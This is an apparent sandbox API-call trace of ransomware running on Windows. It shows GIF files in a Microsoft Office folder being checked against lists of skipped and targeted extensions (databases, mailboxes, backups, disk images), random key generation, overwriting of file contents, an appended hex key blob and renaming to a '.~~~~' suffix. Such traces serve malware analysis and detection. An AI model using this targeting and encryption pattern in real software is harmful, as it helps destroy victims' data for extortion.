	[0140.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".msc") returned 0x0
	[0140.397] lstrlenW (lpString=".com") returned 4
	[0140.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".com") returned 0x0
	[0140.397] lstrlenW (lpString=".lnk") returned 4
	[0140.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".lnk") returned 0x0
	[0140.397] lstrlenW (lpString=".msp") returned 4
	[0140.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".msp") returned 0x0
	[0140.397] lstrlenW (lpString=".pif") returned 4
	[0140.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".pif") returned 0x0
	[0140.397] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0140.522] lstrlenW (lpString=".sqb") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".sqb") returned 0x0
	[0140.522] lstrlenW (lpString=".ost") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".ost") returned 0x0
	[0140.522] lstrlenW (lpString=".txt") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".txt") returned 0x0
	[0140.522] lstrlenW (lpString=".mdt") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".mdt") returned 0x0
	[0140.522] lstrlenW (lpString=".BDB") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".BDB") returned 0x0
	[0140.522] lstrlenW (lpString=".eql") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".eql") returned 0x0
	[0140.522] lstrlenW (lpString=".DBF") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DBF") returned 0x0
	[0140.522] lstrlenW (lpString=".EQL") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".EQL") returned 0x0
	[0140.522] lstrlenW (lpString=".FDB") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".FDB") returned 0x0
	[0140.522] lstrlenW (lpString=".EDB") returned 4
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".EDB") returned 0x0
	[0140.522] lstrlenW (lpString=".DACPAC") returned 7
	[0140.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.523] lstrlenW (lpString=".VHD") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".VHD") returned 0x0
	[0140.523] lstrlenW (lpString=".DBV") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DBV") returned 0x0
	[0140.523] lstrlenW (lpString=".dacpac") returned 7
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.523] lstrlenW (lpString=".sdf") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".sdf") returned 0x0
	[0140.523] lstrlenW (lpString=".accdb") returned 6
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".accdb") returned 0x0
	[0140.523] lstrlenW (lpString=".DBX") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DBX") returned 0x0
	[0140.523] lstrlenW (lpString=".MDT") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".MDT") returned 0x0
	[0140.523] lstrlenW (lpString=".SQB") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".SQB") returned 0x0
	[0140.523] lstrlenW (lpString=".vhd") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".vhd") returned 0x0
	[0140.523] lstrlenW (lpString=".bac") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".bac") returned 0x0
	[0140.523] lstrlenW (lpString=".mdf") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".mdf") returned 0x0
	[0140.523] lstrlenW (lpString=".BAK") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".BAK") returned 0x0
	[0140.523] lstrlenW (lpString=".BAC") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".BAC") returned 0x0
	[0140.523] lstrlenW (lpString=".dbs") returned 4
	[0140.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".dbs") returned 0x0
	[0140.524] lstrlenW (lpString=".vhdx") returned 5
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.524] lstrlenW (lpString=".NDF") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".NDF") returned 0x0
	[0140.524] lstrlenW (lpString=".dat") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".dat") returned 0x0
	[0140.524] lstrlenW (lpString=".DBS") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DBS") returned 0x0
	[0140.524] lstrlenW (lpString=".CKP") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".CKP") returned 0x0
	[0140.524] lstrlenW (lpString=".edb") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".edb") returned 0x0
	[0140.524] lstrlenW (lpString=".PST") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".PST") returned 0x0
	[0140.524] lstrlenW (lpString=".dbf") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".dbf") returned 0x0
	[0140.524] lstrlenW (lpString=".SQL") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".SQL") returned 0x0
	[0140.524] lstrlenW (lpString=".pst") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".pst") returned 0x0
	[0140.524] lstrlenW (lpString=".dbv") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".dbv") returned 0x0
	[0140.524] lstrlenW (lpString=".SDF") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".SDF") returned 0x0
	[0140.524] lstrlenW (lpString=".dtxs") returned 5
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.524] lstrlenW (lpString=".db3") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".db3") returned 0x0
	[0140.524] lstrlenW (lpString=".OST") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".OST") returned 0x0
	[0140.524] lstrlenW (lpString=".dbx") returned 4
	[0140.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".dbx") returned 0x0
	[0140.524] lstrlenW (lpString=".DB3") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DB3") returned 0x0
	[0140.525] lstrlenW (lpString=".DAT") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DAT") returned 0x0
	[0140.525] lstrlenW (lpString=".VHDX") returned 5
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.525] lstrlenW (lpString=".ndf") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".ndf") returned 0x0
	[0140.525] lstrlenW (lpString=".DB") returned 3
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DB") returned 0x0
	[0140.525] lstrlenW (lpString=".sql") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".sql") returned 0x0
	[0140.525] lstrlenW (lpString=".MYD") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".MYD") returned 0x0
	[0140.525] lstrlenW (lpString=".DBT") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DBT") returned 0x0
	[0140.525] lstrlenW (lpString=".ACCDB") returned 6
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.525] lstrlenW (lpString=".fdb") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".fdb") returned 0x0
	[0140.525] lstrlenW (lpString=".bak") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".bak") returned 0x0
	[0140.525] lstrlenW (lpString=".myd") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".myd") returned 0x0
	[0140.525] lstrlenW (lpString=".DTXS") returned 5
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.525] lstrlenW (lpString=".ckp") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".ckp") returned 0x0
	[0140.525] lstrlenW (lpString=".dbt") returned 4
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".dbt") returned 0x0
	[0140.525] lstrlenW (lpString=".db") returned 3
	[0140.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".db") returned 0x0
	[0140.525] lstrlenW (lpString=".TXT") returned 4
	[0140.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".TXT") returned 0x0
	[0140.526] lstrlenW (lpString=".MDF") returned 4
	[0140.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".MDF") returned 0x0
	[0140.526] lstrlenW (lpString=".bdb") returned 4
	[0140.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".bdb") returned 0x0
	[0140.526] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.526] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395498) returned 1
	[0140.527] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.527] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0140.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.527] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26051721835) returned 1
	[0140.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd2a3cf0, dwHighDateTime=0x1d60e1e)) 
	[0140.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d308
	[0140.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d308 | out: hHeap=0x300000) returned 1
	[0140.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f50d8
	[0140.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0140.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0140.528] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.528] GetLastError () returned 0x0
	[0140.528] GetLastError () returned 0x0
	[0140.528] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.528] GetLastError () returned 0x0
	[0140.528] GetLastError () returned 0x0
	[0140.529] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x1f8fec0*=0xf6d, lpOverlapped=0x0) returned 1
	[0140.531] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff093, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.531] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xf6d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0xf6d, lpOverlapped=0x0) returned 1
	[0140.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.531] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.531] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.531] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.531] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.531] CloseHandle (hObject=0x114) returned 1
	[0140.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f50d8
	[0140.532] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif.~~~~")) returned 1
	[0140.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0140.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.534] GetLastError () returned 0x0
	[0140.534] RtlWakeConditionVariable () returned 0x0
	[0140.534] GetCurrentThreadId () returned 0xaf0
	[0140.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".scr") returned 0x0
	[0140.534] lstrlenW (lpString=".cmd") returned 4
	[0140.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".cmd") returned 0x0
	[0140.534] lstrlenW (lpString=".dll") returned 4
	[0140.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".dll") returned 0x0
	[0140.534] lstrlenW (lpString=".bat") returned 4
	[0140.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".bat") returned 0x0
	[0140.534] lstrlenW (lpString=".cpl") returned 4
	[0140.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".cpl") returned 0x0
	[0140.534] lstrlenW (lpString=".sys") returned 4
	[0140.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".sys") returned 0x0
	[0140.534] lstrlenW (lpString=".msc") returned 4
	[0140.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".msc") returned 0x0
	[0140.534] lstrlenW (lpString=".com") returned 4
	[0140.534] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".com") returned 0x0
	[0140.535] lstrlenW (lpString=".lnk") returned 4
	[0140.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".lnk") returned 0x0
	[0140.535] lstrlenW (lpString=".msp") returned 4
	[0140.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".msp") returned 0x0
	[0140.535] lstrlenW (lpString=".pif") returned 4
	[0140.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".pif") returned 0x0
	[0140.535] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.535] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0140.537] lstrlenW (lpString=".sqb") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".sqb") returned 0x0
	[0140.537] lstrlenW (lpString=".ost") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".ost") returned 0x0
	[0140.537] lstrlenW (lpString=".txt") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".txt") returned 0x0
	[0140.537] lstrlenW (lpString=".mdt") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".mdt") returned 0x0
	[0140.537] lstrlenW (lpString=".BDB") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".BDB") returned 0x0
	[0140.537] lstrlenW (lpString=".eql") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".eql") returned 0x0
	[0140.537] lstrlenW (lpString=".DBF") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DBF") returned 0x0
	[0140.537] lstrlenW (lpString=".EQL") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".EQL") returned 0x0
	[0140.537] lstrlenW (lpString=".FDB") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".FDB") returned 0x0
	[0140.537] lstrlenW (lpString=".EDB") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".EDB") returned 0x0
	[0140.537] lstrlenW (lpString=".DACPAC") returned 7
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.537] lstrlenW (lpString=".VHD") returned 4
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".VHD") returned 0x0
	[0140.537] lstrlenW (lpString=".DBV") returned 4
